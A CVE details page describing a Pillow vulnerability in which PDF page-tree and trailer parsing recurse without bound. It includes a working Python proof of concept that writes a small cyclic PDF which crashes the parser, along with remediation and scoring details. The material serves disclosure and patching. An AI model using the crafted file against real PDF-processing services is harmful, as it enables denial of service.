CVE-2026-112895 — Vulnerability in pillow — CVE Details
Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.59%). Schedule for your next planned update.
Does your project use an affected pillow version?
Paste your requirements.txt to check it for CVE-2026-112895 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.
Details
linearize_page_tree recurses on /Kids with no cycle or depth check:
src/PIL/PdfParser.py:1078-1092
read_prev_trailer catches only a repeated offset:
src/PIL/PdfParser.py:697-720(theprocessed_offsetscheck at:714-718is the CVE-2026-42310 fix; a unique-offset chain slips past it)
PoC
from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Run it:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.
Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
Advisory Timeline
- First published October 20, 2026 (37 days ago).
- Last revised October 26, 2026 — 6 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "pillow>=13.0.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pillow PyPI · Affected: 10.0.0, 10.0.1, 10.1.0, 10.2.0 (+45 more) | 13.0.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-674
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-112895ADVISORY
- https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bfWEB
- https://github.com/python-pillow/PillowPACKAGE
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0WEB
Frequently Asked Questions
- What is CVE-2026-112895?
- Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310). This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2026-112895?
- CVE-2026-112895 affects pillow. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-112895 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 42.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-25990HIGH
- CVE-2026-40192HIGH
- CVE-2026-42311HIGH
- CVE-2026-54059HIGH
- CVE-2026-25990HIGH
Pillow affected by out-of-bounds write when loading PSD images
- CVE-2026-112406HIGH
Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
- CVE-2026-112891MEDIUM
Pillow: Quadratic GIF comment copying during save
- CVE-2026-59198MEDIUM
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images